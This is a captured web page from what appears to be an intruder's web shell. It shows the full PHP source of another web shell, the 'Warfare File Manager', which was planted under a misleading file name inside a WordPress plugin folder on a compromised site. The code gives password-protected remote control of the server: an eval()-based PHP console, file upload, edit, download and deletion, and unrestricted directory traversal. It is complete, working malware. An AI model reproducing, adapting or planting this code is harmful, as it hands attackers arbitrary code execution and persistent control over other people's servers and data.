??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/pgtankstorage.sg/wp-content/plugins/duplicate-page/duplicatepage-boolean-long.php
⬅ Kembali
<?php
/**
* Warfare File Manager (WAFDefence) V2
*
* File/folder CRUD - File edits, upload, download, backup, rename, delete
* Path navigation, Up button, Home, full path visibility
* Writable status indicator
* Tabs: File Manager / PHP Console
* UI: Modern, self-contained, single file
*/
// -------- CONFIG --------
define('WFM_PASSWORD', 'WARFARE'); // Change this password!
define('WFM_TIMEOUT', 1800); // Session timeout in seconds
session_start();
$now = time();
// -------- HELPERS --------
function h($s){
return htmlspecialchars((string)$s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
// Get canonical path (realpath or as best as possible)
function canon($p){
$r = @realpath($p);
return $r ?: $p;
}
function wfm_filesize($bytes) {
if ($bytes >= 1073741824) return round($bytes/1073741824,2).' GB';
if ($bytes >= 1048576) return round($bytes/1048576,2).' MB';
if ($bytes >= 1024) return round($bytes/1024,2).' KB';
return $bytes.' B';
}
function wfm_rcopy($src, $dst) {
if (is_dir($src)) {
if (!is_dir($dst) && !@mkdir($dst, 0755, true)) {
return false;
}
$items = @scandir($src);
if ($items === false) {
return false;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
if (!wfm_rcopy($src . DIRECTORY_SEPARATOR . $item, $dst . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}
return true;
}
return @copy($src, $dst);
}
function wfm_unique_paths(array $paths) {
$seen = [];
$out = [];
foreach ($paths as $p) {
if (!is_string($p) || $p === '') {
continue;
}
if (!isset($seen[$p])) {
$seen[$p] = true;
$out[] = $p;
}
}
return $out;
}
// LOGOUT HANDLER (placed early so it works ASAP)
if (isset($_POST['action']) && $_POST['action'] === 'logout') {
$_SESSION = [];
session_destroy();
header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
exit;
}
// AUTH & SESSION TIMEOUT
if (!isset($_SESSION['wfm_ok']) || $_SESSION['wfm_ok'] !== true) {
$err = '';
if (isset($_POST['wfm_pw'])) {
if ($_POST['wfm_pw'] === WFM_PASSWORD) {
$_SESSION['wfm_ok'] = true;
$_SESSION['wfm_last'] = $now;
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
$err = 'Invalid password.';
}
?><!DOCTYPE html>
<html lang="en"><head>
<meta charset="utf-8">
<title>Login :: Warfare File Manager</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body{background:#171b23; color:#eee; display:flex; align-items:center; justify-content:center; min-height:100vh; margin:0; font-family:Segoe UI,Consolas,monospace; font-size:16px;}
.login{background:#1c2030; border-radius:13px; padding:32px; box-shadow:0 7px 32px #000a;}
input{width:100%;padding:12px 13px;background:#181f2f;color:#fff;font-size:1em;border-radius:8px;border:2px solid #314068;margin-bottom:14px;}
button{width:100%;padding:12px;border-radius:8px;border:none;background:#2f44bb;color:#f7fff8;font-size:18px;font-weight:700;cursor:pointer;}
.err{background:#331a26;color:#ff9494;padding:8px 0;margin-bottom:13px;text-align:center;border-radius:5px;}
</style>
</head>
<body>
<div class="login">
<h2 style="text-align:center;margin-bottom:19px;color:#63bcff;">Warfare File Manager</h2>
<?php if ($err): ?><div class="err"><?=h($err)?></div><?php endif;?>
<form method="post" autocomplete="off">
<input type="password" name="wfm_pw" placeholder="Password" required autofocus>
<button type="submit">Sign In</button>
</form>
</div>
</body></html><?php
exit;
}
if (isset($_SESSION['wfm_last']) && ($now - $_SESSION['wfm_last'] > WFM_TIMEOUT)) {
$_SESSION = [];
session_destroy();
header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
exit;
}
$_SESSION['wfm_last'] = $now;
// -------- PATH, TABS & VARS ---------
if (empty($_SESSION['wfm_home'])) $_SESSION['wfm_home'] = getcwd();
$home_path = canon($_SESSION['wfm_home']);
$cdir = getcwd();
// Path handling: don't restrict up navigation, allow full traversal (as requested)
$base_path = isset($_GET['path']) && $_GET['path']!=='' ? canon($_GET['path']) : $cdir;
if (!@is_dir($base_path)) $base_path = $cdir;
// Tabs: ?tab=fm or ?tab=phpconsole
$tab = (isset($_GET['tab']) && $_GET['tab'] === 'phpconsole') ? 'phpconsole' : 'fm';
// Messages/errors
$messages = []; $errors = [];
$edit_file = '';
$edit_content = '';
$copy_suggestions = [];
$phpconsole_out = '';
$phpconsole_status = '';
$phpconsole_code = '';
// ------------- PHP CONSOLE -----------
if ($tab === 'phpconsole' && isset($_POST['phpconsole']) && isset($_POST['phpconsole_code'])) {
$phpconsole_code = (string)$_POST['phpconsole_code'];
ob_start();
try {
eval($phpconsole_code);
} catch (Throwable $e) {
$phpconsole_status = "Error: " . $e->getMessage();
}
$phpconsole_out = (string)ob_get_clean();
if ($phpconsole_out === '' && $phpconsole_code !== '') {
$phpconsole_out = '[no output]';
}
}
// ------------ FILE ACTIONS -----------------
if ($tab==='fm') {
$parent_dir = @dirname($base_path);
$copy_suggestions = wfm_unique_paths([
$base_path,
$parent_dir,
$parent_dir . DIRECTORY_SEPARATOR . 'wp-content',
$parent_dir . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'uploads',
$parent_dir . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes',
$parent_dir . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'plugins',
]);
// Download
if (isset($_GET['dl'])) {
$fp = $base_path.DIRECTORY_SEPARATOR.$_GET['dl'];
if (is_file($fp)) {
header('Content-Disposition: attachment; filename="'.basename($fp).'"');
header('Content-Length: '.filesize($fp));
header('Content-Type: application/octet-stream');
readfile($fp);
exit;
}
}
// Upload
if (isset($_POST['upload']) && isset($_FILES['upload_file'])) {
$fname = basename($_FILES['upload_file']['name']);
$target = $base_path . DIRECTORY_SEPARATOR . $fname;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
$messages[] = "Uploaded: ".$fname;
} else $errors[] = "Upload failed.";
}
// Create folder
if (isset($_POST['mkdir']) && !empty($_POST['dirname'])) {
$folder = preg_replace('/[\/\\\\]+/', '', trim($_POST['dirname']));
$full = $base_path . DIRECTORY_SEPARATOR . $folder;
if ($folder == '' || file_exists($full)) {
$errors[] = 'Folder exists or invalid name.';
} else if (mkdir($full, 0755)) {
$messages[] = 'Folder created: '.$folder;
} else $errors[] = 'Cannot create folder.';
}
// Create file
if (isset($_POST['mkfile']) && !empty($_POST['filename'])) {
$fname = preg_replace('/[\/\\\\]+/', '', trim($_POST['filename']));
$full = $base_path . DIRECTORY_SEPARATOR . $fname;
if ($fname == '' || file_exists($full)) {
$errors[] = 'File exists or invalid name.';
} else if (file_put_contents($full, "") !== false) {
$messages[] = 'File created: '.$fname;
} else $errors[] = 'File create failed.';
}
// Delete (file/folder)
if (isset($_POST['delete']) && isset($_POST['delname'])) {
$todel = $base_path . DIRECTORY_SEPARATOR . $_POST['delname'];
if (!file_exists($todel)) { $errors[] = 'Target not found.'; }
else if (is_dir($todel)) {
function wfm_rmdir($p) {
$items = @array_diff(scandir($p), ['.','..']);
foreach($items as $item) {
$sub = $p.DIRECTORY_SEPARATOR.$item;
is_dir($sub) ? wfm_rmdir($sub) : @unlink($sub);
}
return @rmdir($p);
}
if (wfm_rmdir($todel)) $messages[] = 'Folder deleted: ' . $_POST['delname'];
else $errors[] = 'Could not delete folder.';
} else if (@unlink($todel)) {
$messages[] = 'Deleted: '.$_POST['delname'];
} else $errors[] = 'Delete failed: '.$_POST['delname'];
}
// Backup (copy file appending datetime)
if (isset($_POST['backup']) && isset($_POST['bakname'])) {
$src = $base_path . DIRECTORY_SEPARATOR . $_POST['bakname'];
if (is_file($src) && is_readable($src)) {
$backup = $src . '.' . date('Ymd_His') . '.bak';
if (copy($src, $backup)) $messages[] = "Backup: ".basename($src)." saved";
else $errors[] = "Backup failed: ".basename($src);
} else $errors[] = "Backup needs a file.";
}
// Edit save (in popup)
if (isset($_POST['edit_file_submit']) && isset($_POST['edit_file_name'])) {
$fn = $base_path . DIRECTORY_SEPARATOR . $_POST['edit_file_name'];
if (is_file($fn) && is_writable($fn)) {
if (file_put_contents($fn, $_POST['edit_content']) !== false)
$messages[] = "Saved: ".$_POST['edit_file_name'];
else $errors[] = "Could not save: ".$_POST['edit_file_name'];
} else $errors[] = "Not writable: ".$_POST['edit_file_name'];
}
if (isset($_GET['edit']) && $_GET['edit'] !== '') {
$edit_file = basename((string)$_GET['edit']);
$edit_path = $base_path . DIRECTORY_SEPARATOR . $edit_file;
if (is_file($edit_path) && is_readable($edit_path)) {
$tmp = @file_get_contents($edit_path);
$edit_content = $tmp === false ? '' : $tmp;
} else {
$errors[] = "File not readable for edit: " . $edit_file;
$edit_file = '';
}
}
// Rename
if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
$from = $base_path . DIRECTORY_SEPARATOR . $_POST['rename_from'];
$to = $base_path . DIRECTORY_SEPARATOR . $_POST['rename_to'];
if (!file_exists($from)) $errors[] = 'Not found: '.$_POST['rename_from'];
elseif (file_exists($to)) $errors[] = 'Already exists: '.$_POST['rename_to'];
elseif (@rename($from, $to)) $messages[] = "Renamed: ".$_POST['rename_from']." → ".$_POST['rename_to'];
else $errors[] = "Rename failed: ".$_POST['rename_from'];
}
// Copy / Move / Duplicate (single item)
if (isset($_POST['copy_item']) && isset($_POST['copy_name'])) {
$name = basename((string)$_POST['copy_name']);
$from = $base_path . DIRECTORY_SEPARATOR . $name;
$copy_to_raw = isset($_POST['copy_to']) ? trim((string)$_POST['copy_to']) : '';
$move = isset($_POST['copy_move']) && $_POST['copy_move'] === '1';
if (!file_exists($from)) {
$errors[] = "Source not found: " . $name;
} else {
$target_dir = $copy_to_raw !== '' ? canon($copy_to_raw) : $base_path;
if (!is_dir($target_dir)) {
$errors[] = "Destination folder not found.";
} else {
$dest = $target_dir . DIRECTORY_SEPARATOR . basename($from);
if ($from !== $dest) {
if ($move) {
if (@rename($from, $dest)) $messages[] = "Moved: " . $name . " → " . $dest;
else $errors[] = "Move failed: " . $name;
} else {
if (wfm_rcopy($from, $dest)) $messages[] = "Copied: " . $name . " → " . $dest;
else $errors[] = "Copy failed: " . $name;
}
} elseif (!$move) {
$parts = pathinfo($from);
$suffix = is_dir($from) ? '' : (isset($parts['extension']) && $parts['extension'] !== '' ? '.' . $parts['extension'] : '');
$dup_name = $parts['filename'] . '-' . date('YmdHis') . $suffix;
$dup_path = $parts['dirname'] . DIRECTORY_SEPARATOR . $dup_name;
$loop = 0;
while (file_exists($dup_path) && $loop < 1000) {
$dup_name = $parts['filename'] . '-copy-' . $loop . $suffix;
$dup_path = $parts['dirname'] . DIRECTORY_SEPARATOR . $dup_name;
$loop++;
}
if (wfm_rcopy($from, $dup_path)) $messages[] = "Duplicated: " . $name . " → " . basename($dup_path);
else $errors[] = "Duplicate failed: " . $name;
} else {
$errors[] = "Paths must not be equal.";
}
}
}
}
}
// ------------- PATH UI DATA ---------------
// Show full absolute path, up to outside parent directories
$base_path_display = canon($base_path);
$home_short = canon($home_path);
$rel_path = substr($base_path_display, 0, 1)=='/' ? $base_path_display : realpath($base_path_display); // always full/absolute
$rel_path_parts = array_filter(explode(DIRECTORY_SEPARATOR, trim($rel_path,'/')));
$up_path = dirname($base_path_display);
$is_writable = @is_writable($base_path_display);
// -------------- HTML OUTPUT ----------------
?><!doctype html>
<html lang="en"><head>
<meta charset="utf-8">
<title>Warfare File Manager</title>
<meta name="viewport" content="width=device-width,initial-scale=1">
<style>
body {background:#181c2b;color:#e6edf3;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Consolas,monospace;font-size:14px;margin:0;}
.container {max-width:980px;padding:27px 13px;margin:2vh auto 40px auto;background:#181d28;border:1px solid #2a2a44;border-radius:14px;}
h1 {margin:0 0 12px 0;color:#5bc7ed;text-align:center;font-size:2.0em;}
.tabnav{display:flex;gap:1.3em;margin:21px 0 17px 0;justify-content:center;}
.tabnav a{color:#70b3f1;text-decoration:none;padding:3.5px 26px 7px 26px;border-radius:7px;font-weight:500;background:rgba(61,108,230,0.09);font-size:1em;transition:.14s;}
.tabnav a.active{background:#13224b; color:#86d3fa;}
.tabnav form{margin-left:auto;}
.pathbox {display:flex;align-items:center;flex-wrap:wrap;background:#232950;padding:10px 16px;border-radius:8px;margin-bottom:19px;gap:12px;}
.upbtn {padding:7px 21px;background:#2a3968;color:#fff;border:none;border-radius:8px;cursor:pointer;font-size:1.08em;font-weight:500;}
.upbtn:disabled {cursor:not-allowed;background:#393955;color:#9db0dd;}
.pathline {font-size:14.7px;color:#cbe6ff;white-space:auto;font-family:'SF Mono',Consolas,monospace;}
.pathline .path-p {color:#6fc7f1;}
.pathline .path-p:last-child {color:#e5fcca;font-weight:bold;}
.pathline a{color:#82dafd;text-decoration:none;}
.wstat {
border-radius:8px;padding:5px 15px;font-size:13.5px;font-weight:600;background:#183116;
color:#abfdab;margin-left:auto;}
.wstat.nw{background:#3e1c22;color:#ffaab1;}
.msgbox, .errbox {padding:10px 21px;margin-bottom:10px;border-radius:14px;border:1.3px solid;}
.msgbox {background:#202f20;border-color:#3df093;color:#94f799;margin-bottom:8px;}
.errbox {background:#351c1c;border-color:#fd8f8f;color:#ffbaba;margin-bottom:8px;}
.panel.row {display:grid; grid-template-columns:repeat(2,1fr); gap:18px;}
.row form{background:#1f2343;padding:14px 20px;border-radius:11px;}
.row label{display:block;font-size:13px;margin-bottom:6px;}
input[type="text"],input[type="file"],textarea{width:100%;background:#161b2e;border:1px solid #273654;color:#e6edf3;border-radius:8px;padding:10px 13px;}
textarea{height:333px;}
tr:hover td {background:#222e48;}
table {border-collapse:separate;border-spacing:0;width:100%;margin-bottom:11px;background:#1c212d;border-radius:8px;}
th, td {padding:9px 14px;font-size:13px;}
th {background:#192044;color:#94b6d1;text-align:left;}
.actions button, .actions form, .actions a {display:inline;}
.actions .button{border:none; background:#295ac3; color:#fff; padding:5px 14px; border-radius:5px; margin-right:3px; font-size:12px; cursor:pointer;}
.actions .button.download {background:#249f55;}
.actions .button.download:hover {background:#33e27d;}
.actions .button.backup {background:#a8821f;}
.actions .button.backup:hover {background:#ffe34c;color:#1c1763;}
.actions .button.edit {background:#3b2977;}
.actions .button.edit:hover {background:#748ae7;}
.actions .button.rename {background:#39715b;}
.actions .button.rename:hover {background:#5dead3;color:#17223c;}
.actions .button.remove {background:#ba2b39;}
.actions .button.remove:hover {background:#f05d79;}
.fileedit-popup{position:fixed;z-index:1005;left:0;top:0;width:100vw;height:100vh;background:rgba(30,34,61,0.82);}
.fileedit-panel {background:#181d28;padding:24px 33px 17px 33px;border-radius:15px;max-width:700px;max-height:94vh;margin:40px auto;overflow:auto;}
.fileedit-panel-header {display:flex;align-items:center;justify-content:space-between;margin-bottom:10px;}
/* Bubble for PHP console output: restrict max-width, wrap, color, break long lines */
.consolebubble {
display:inline-block;
max-width:99vw;
margin-top:10px;
padding:16px 20px;
background:#161c2d;
border-radius:15px 18px 18px 15px;
border:1.8px solid #3ae3e3;
color:#cceaff;
font-size:14.3px;
white-space:pre-wrap;
word-break:break-word;
box-shadow:0 4px 26px #131c2b33;
}
</style>
<script>
function wfmKey(fn) {
return btoa(fn).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
}
function askBackup(fn) {
if (confirm('Backup "'+fn+'"?')) {document.getElementById("backupFrm_"+wfmKey(fn)).submit();}
}
function showEditPopup(fn) {document.getElementById("fileedit_"+wfmKey(fn)).style.display="block";}
function closeEditPopup(fn) {document.getElementById("fileedit_"+wfmKey(fn)).style.display="none";}
function showRename(fn) {
var newn = prompt("Rename to:", fn);
if (newn!==null && newn!=="" && newn!==fn) {
var frm = document.getElementById("renameFrm_"+wfmKey(fn));
frm.elements['rename_to'].value = newn;
frm.submit();
}
}
function runCopy(fn) {
var select = document.getElementById("copy_dest_select");
var suggested = select ? select.value : "";
var to = prompt("Copy to folder path (leave empty for duplicate in same folder):", suggested);
if (to === null) return;
var frm = document.getElementById("copyFrm_"+wfmKey(fn));
frm.elements['copy_to'].value = to;
frm.elements['copy_move'].value = "0";
frm.submit();
}
function runMove(fn) {
var select = document.getElementById("copy_dest_select");
var suggested = select ? select.value : "";
var to = prompt("Move to folder path:", suggested);
if (to === null || to === "") return;
var frm = document.getElementById("copyFrm_"+wfmKey(fn));
frm.elements['copy_to'].value = to;
frm.elements['copy_move'].value = "1";
frm.submit();
}
</script>
</head>
<body>
<div class="container">
<h1>WARFARE File Manager</h1>
<nav class="tabnav">
<a href="?tab=fm&path=<?=h($base_path_display)?>" class="<?=$tab==='fm'?'active':''?>">File Manager</a>
<a href="?tab=phpconsole" class="<?=$tab==='phpconsole'?'active':''?>">PHP Console</a>
<form style="float:right;display:inline;margin-left:auto" method="post">
<input type="hidden" name="action" value="logout">
<button style="padding:8px 19px;border-radius:8px;border:none;background:#282e81;margin-left:18px;color:#fff;font-size:15px;font-weight:600;cursor:pointer;" type="submit">Logout</button>
</form>
</nav>
<?php if ($tab==='fm'): ?>
<div class="pathbox">
<form method="get" style="margin:0;">
<input type="hidden" name="tab" value="fm">
<input type="hidden" name="path" value="<?=h($up_path)?>">
<button type="submit" class="upbtn" <?php if ($up_path == $base_path_display) echo 'disabled'; ?>>↑ Up</button>
</form>
<span class="pathline">
<span class="path-p">/</span>
<?php
$path_sofar = '';
$parts_count = count($rel_path_parts);
foreach ($rel_path_parts as $i => $pn) {
$path_sofar .= '/'.$pn;
echo '<a href="?tab=fm&path='.urlencode($path_sofar).'"><span class="path-p">'.h($pn).'</span></a>';
if ($i != $parts_count-1) echo '<span class="path-p">/</span>';
}
?>
</span>
<span class="wstat<?=$is_writable?'':' nw';?>">
<?= $is_writable ? "Writable ✅" : "Not Writable ⛔" ?>
</span>
</div>
<div style="font-family:'SF Mono',Consolas,monospace;font-size:15px;margin-bottom:9px;padding-left:7px;color:#bdefff;">
<b>Path:</b> <?=h($base_path_display)?>
</div>
<?php foreach($errors as $e): ?><div class="errbox"><?=h($e)?></div><?php endforeach;?>
<?php foreach($messages as $m): ?><div class="msgbox"><?=h($m)?></div><?php endforeach;?>
<div class="panel row">
<form method="post" enctype="multipart/form-data">
<label>
File Upload:
<input type="file" name="upload_file" required>
</label>
<button type="submit" name="upload" value="1">Upload</button>
</form>
<form method="post">
<label>New Folder:<input type="text" name="dirname" required placeholder="Folder name"></label>
<button type="submit" name="mkdir" value="1">Create Folder</button>
</form>
<form method="post">
<label>New File:<input type="text" name="filename" required placeholder="File name"></label>
<button type="submit" name="mkfile" value="1">Create File</button>
</form>
</div>
<div style="height:8px"></div>
<div style="background:#1f2343;padding:12px 16px;border-radius:11px;margin-bottom:12px;">
<label>Possible destination directories for Copy/Move:</label>
<select id="copy_dest_select" style="width:100%;background:#161b2e;border:1px solid #273654;color:#e6edf3;border-radius:8px;padding:10px 13px;">
<?php foreach ($copy_suggestions as $suggest): ?>
<option value="<?=h($suggest)?>"><?=h($suggest)?></option>
<?php endforeach; ?>
</select>
</div>
<?php if ($edit_file !== ''): ?>
<div style="background:#1f2343;padding:14px 16px;border-radius:11px;margin-bottom:12px;">
<div style="margin-bottom:8px;color:#bdefff;"><b>Editing:</b> <?=h($edit_file)?></div>
<form method="post" autocomplete="off">
<input type="hidden" name="edit_file_name" value="<?=h($edit_file)?>">
<textarea name="edit_content" style="height:380px;"><?=h($edit_content)?></textarea>
<div style="margin-top:8px;">
<button name="edit_file_submit" value="1" class="button edit">Save File</button>
<a class="button" href="?tab=fm&path=<?=urlencode($base_path_display)?>" style="text-decoration:none;">Close Editor</a>
</div>
</form>
</div>
<?php endif; ?>
<table>
<thead>
<tr>
<th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Actions</th>
</tr>
</thead>
<tbody>
<?php
$dir_items = @scandir($base_path_display) ?: [];
$dirs=[]; $files=[];
foreach ($dir_items as $fn) {
if ($fn === '.') continue;
$full = $base_path_display.DIRECTORY_SEPARATOR.$fn;
if (@is_dir($full)) $dirs[] = $fn;
else $files[] = $fn;
}
sort($dirs, SORT_STRING|SORT_FLAG_CASE); sort($files, SORT_STRING|SORT_FLAG_CASE);
// Show parent .. entry only if not at root
if ($up_path && $up_path!==$base_path_display) {
echo '<tr>
<td><a href="?tab=fm&path='.h($up_path).'">↩ ..</a></td>
<td>Up</td><td>--</td><td>--</td><td></td>
</tr>';
}
foreach(array_merge($dirs,$files) as $fn):
$full = $base_path_display.DIRECTORY_SEPARATOR.$fn;
$is_dir = @is_dir($full);
$is_file = @is_file($full);
$mtime = @filemtime($full);
$enc_name = str_replace(['+','/','='],['-','_',''], base64_encode($fn));
?>
<tr>
<td>
<?php if ($is_dir): ?>
<a href="?tab=fm&path=<?=urlencode($full)?>" style="color:#62effa">📁 <?=h($fn)?></a>
<?php else: ?>
<span style="color:#8cc7ea">🗋 <?=h($fn)?></span>
<?php endif; ?>
</td>
<td><?=$is_dir?"DIR":"file"?></td>
<td><?=$is_dir ? '--' : h(wfm_filesize(@filesize($full)))?></td>
<td><?=$mtime ? date('Y-m-d H:i:s',$mtime) : '--'?></td>
<td class="actions">
<?php if ($is_file): ?>
<a href="?tab=fm&path=<?=urlencode($base_path_display)?>&dl=<?=urlencode($fn)?>" class="button download">Download</a>
<button type="button" class="button backup" onclick="askBackup('<?=h($fn)?>')">Backup</button>
<a class="button edit" href="?tab=fm&path=<?=urlencode($base_path_display)?>&edit=<?=urlencode($fn)?>">Edit</a>
<?php endif; ?>
<button type="button" class="button" onclick="runCopy('<?=h($fn)?>')">Copy</button>
<button type="button" class="button" onclick="runMove('<?=h($fn)?>')">Move</button>
<button type="button" class="button rename" onclick="showRename('<?=h($fn)?>')">Rename</button>
<form method="post" style="display:inline;" onsubmit="return confirm('Delete <?=h($fn)?>?');">
<input type="hidden" name="delname" value="<?=h($fn)?>">
<button type="submit" name="delete" value="1" class="button remove">Remove</button>
</form>
<form id="copyFrm_<?=$enc_name?>" method="post" style="display:none;">
<input type="hidden" name="copy_name" value="<?=h($fn)?>">
<input type="hidden" name="copy_to" value="">
<input type="hidden" name="copy_move" value="0">
<input type="hidden" name="copy_item" value="1">
</form>
<form id="renameFrm_<?=$enc_name?>" method="post" style="display:none;">
<input type="hidden" name="rename_from" value="<?=h($fn)?>">
<input type="hidden" name="rename_to" value="">
</form>
<?php if ($is_file): ?>
<form id="backupFrm_<?=$enc_name?>" method="post" style="display:none;">
<input type="hidden" name="bakname" value="<?=h($fn)?>">
<button type="submit" name="backup" value="1"></button>
</form>
<?php endif;?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
<?php if ($tab==='phpconsole'): ?>
<div class="panel">
<form method="post" class="phpconsole-form" autocomplete="off" style="margin-bottom:20px;">
<textarea name="phpconsole_code" placeholder="Enter PHP code... (no <?php necessary)" rows="6" autofocus style="width:100%;min-height:80px;font-size:14.2px;background:#1d2d49;color:#f3f3f3;border-radius:8px;padding:12px 13px;font-family:'Fira Mono','SF Mono',Consolas,monospace;"><?=h($phpconsole_code)?></textarea>
<button type="submit" name="phpconsole" value="1" style="padding:8px 29px;border-radius:7px;background:#2395af;color:#fff;font-size:16px;margin-top:12px;">Run PHP</button>
</form>
<?php if ($phpconsole_out !== ''): ?>
<div class="consolebubble"><?=h($phpconsole_out)?></div>
<?php endif;?>
<?php if ($phpconsole_status): ?><div class="errbox"><?=h($phpconsole_status)?></div><?php endif;?>
<div style="font-size:0.98em;color:#aaccaa;padding:11px 2px 0 2px;">
<strong>Note:</strong> This runs <code>eval()</code> on your input.<br>Use only for admin/debug.
</div>
</div>
<?php endif; ?>
</div>
</body>
</html>
Nama
Tipe
Ukuran
Diubah
Aksi
📁 css
dir
—
2026-05-08 13:39
📁 inc
dir
—
2026-05-30 00:43
📁 js
dir
—
2026-05-08 13:39
📁 languages
dir
—
2026-05-08 13:39
🐘 duplicatepage-boolean-long.php
php
28.6 KB
2026-05-25 09:06
🐘 duplicatepage.php
php
20.8 KB
2026-05-08 13:39
📄 error_log
file
2.3 KB
2026-06-12 07:29
📝 readme.txt
txt
6.2 KB
2026-05-08 13:39